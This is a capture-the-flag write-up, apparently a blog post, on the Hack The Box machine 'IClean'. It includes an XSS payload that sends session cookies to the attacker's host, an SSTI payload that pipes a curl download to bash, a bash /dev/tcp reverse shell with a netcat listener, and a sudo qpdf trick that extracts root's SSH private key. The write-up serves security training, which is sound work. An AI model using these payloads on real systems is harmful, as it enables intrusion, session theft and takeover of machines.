HTB - IClean
Machine Details
OS: Linux
Difficulty: Medium
Dashboard: IClean
Recon
Nmap Scan
Findings
The scan reveals two open ports
Port 22 - Running SSH (usually boring and a rabbit hole)
Port 80 - Interesting! It's running an
Apache httpd
Server withWerkzeug
andPython
Versions of all these software are disclosed and can be used for CVE Hunting ๐
Visit the Website
The IP redirects to capiclean.htb
, let's resolve this IP internally, by updating /etc/hosts
Once we have updated this, we can now resolve the Domain
Findings
Seems like this is a House Cleaning Website
It has a Login functionality, this seems like the best way to break in.
There are quite a few more tags but nothing interesting or that seems to be working.
Information Gathering
Directory Enumeration
Seems like we detected a few directories
/dashboard - 302 (Seems to be redirected to the login page)
/quote - 200
Okay, we found an admin dashboard, which we cannot access, but let's check what is this /quote
page.
Findings
Using FFuF we were able to detect additional pages.
Accessing the Dashboard is restricted since we are not logged into the system.
We did, however, come across
/quote
pages and this seemed interesting.
Let's get a quote
Let's check this /quote
page and understand its functionality.
Seems like a set of Radio Buttons and an input field that expects an email.
Let's take a closer look at this within BurpSuite.
This seems like a perfect candidate for XSS. However since this does not display the user input, we can check for Blind or Stored XSS.
We can verify this by creating an HTTP Server and checking if we get a response from the vulnerable Machine
Staring a Python Server
python3 -m http.server 1212
XSS Payload to call back on this server
service=<img+src="http://10.10.14.5:1212";>&email=test%40yes.com
We get a 200 Response and we can also check the response that is logged on our Python Server.
Findings
We discovered Stored XSS on the webpage, this can be used to exploit further.
Ensure you check for promising endpoints and parameters for basic injection attacks.
Let's steal some cookies
We have established that we can perform XSS on the subdomain.
We also observed the following message when we submitted a quote
This could indicate that our request is being viewed by the Management Team.
So let's try and steal session cookies for any user who checks our request.
We can use the same Python Server that we created above, and use a new payload
service=<img+src="onerror=fetch("http://10.10.14.5:1212/"+document.cookie);>&email=test%40yes.com
We get the following Response in our Python server, along with the session
token
We can update this value in our session, using the cookie editor or devtools, doing so allows us to access the Dashboard
Findings
It's a good tip to look for clues on how your requests are being handled, if it's gonna be accessed by a user or automated by the system, you can tweak your attack based on this.
We now have access to the dashboard that is expected to be accessed by only the employees.
Exploitation
Let's Generate an Invoice
Let's check the functionality to generate an Invoice
We get an Invoice ID for every invoice that we create.
We can also generate a QR for each invoice by passing the Invoice ID
We get a QR Code link created when we generate a QR, using the Invoice ID, that we can visit.
We can pass this link in the input field to generate a scanable URL, on submitting this we get a complete invoice.
Findings
We were able to explore the system functionalities to generate a QR code and an invoice link.
We also discovered a functionality that takes links as inputs and we could explore and exploit this further.
Exploit SSTI
Let's explore the functionality that allows us to pass a URL, that creates an invoice.
Trying out various payloads, we discover that the parameter qr_link
is vulnerable to SSTI
We can verify this by passing the payload {{2*2}}
and you receive the value 4
in the request, indicating that the template was injected and executed successfully.
We can try and exploit the fact that we can execute commands using SSTI, and work towards gaining a reverse shell.
Let's Exploit
Create a malicious file that establishes a reverse shell, with the following payload
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
Create a Netcat Losteener on Port 4444
nc -l 4444
Create a payload that fetches this file from our Python server and executes it on the victim server. This was quite a tricky part, and this article helped a lot.
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl IP:PORT/revshell | bash")|attr("read")()}}
- On triggering this payload successfully we get a reverse shell
Findings
SSTI was an easy find by using Burp and running known input injection commands.
Using the SSTI vulnerability to gain a remote shell took quite a bit of research and effort, thanks to this article.
We now have a shell on the system, but no root or user-level access ๐ฅฒ.
Privilege Escalation
User Level Access
While traversing the source code we come across a file that contains DB Credentials
We can use these creds to access the DB
We can fetch all details from the user table that reveals hashed password values for the passwords of admin
and consuela
We can check these against online DBs to find the password
We now have the password for consuela
.
We can change the user using the shell access we already have or create a new SSH connection for the user consuela
and the password we just discovered.
We now have USER-LEVEL Access to the system.
Findings
It's always a good practice to check for all files and folders that we can grain via the initial shell.
Since this user had only access to the web app, we could check for the Web Application code, which led us to access the DB Creds in the flask config file.
Passwords are not usually encrypted in the most secured way, so using hosted solutions like CrackStation can help quicky break encryptions.
We now have user-level access to the Machine.
Root Level Access
The first thing we can look for is, if this user has any elevated permissions, we can check this by using the command sudo -l
We see that the user can execute the /usr/bin/qpdf
with root privileges.
Let's Check what is qpdf. This seems to be the tool used for PDF Generation, and most likely this is how the Invoices are created.
By checking the documentation, we can see, that it is possible to add any file, that is owned by root, and copy it to a folder that is owned by the user.
We are very much sure of one file path, that is pretty much always consistent across all machines.
SSH Private Key!
sudo /usr/bin/qpdf \
--empty \
--add-attachment /root/.ssh/id_rsa \
--mimetype=text/plain -- \
doc.pdf
On reading the file we just created, we can see that the SSH Private Key is added in the PDF.
We can now use this key to ssh as the root user
And we have now grained ROOT LEVEL Access.
Findings
Always a good practice to check for Files with elevated permissions.
Researching on qpdf, took quite some time before we discovered the relevant extensions to access and retrieve Root-owned files.
Learnings
Always a good practice to check for all possible subdomains and directories using automated tools, like gobuster or dirb.
Always check for the functionalities that an app provides, and perform a wide range of checks.
Input Validation checks are always a great way to check for issues.
When stuck, always read up and research, articles can be quite helpful.
Check for all files/folders that a user can access, you could always find something exciting in there, that could help you exploit further.
Spend sometime researching the tools that you plan to exploit, documentation is key.
Subscribe to my newsletter
Read articles from Agnellus Fernandes directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by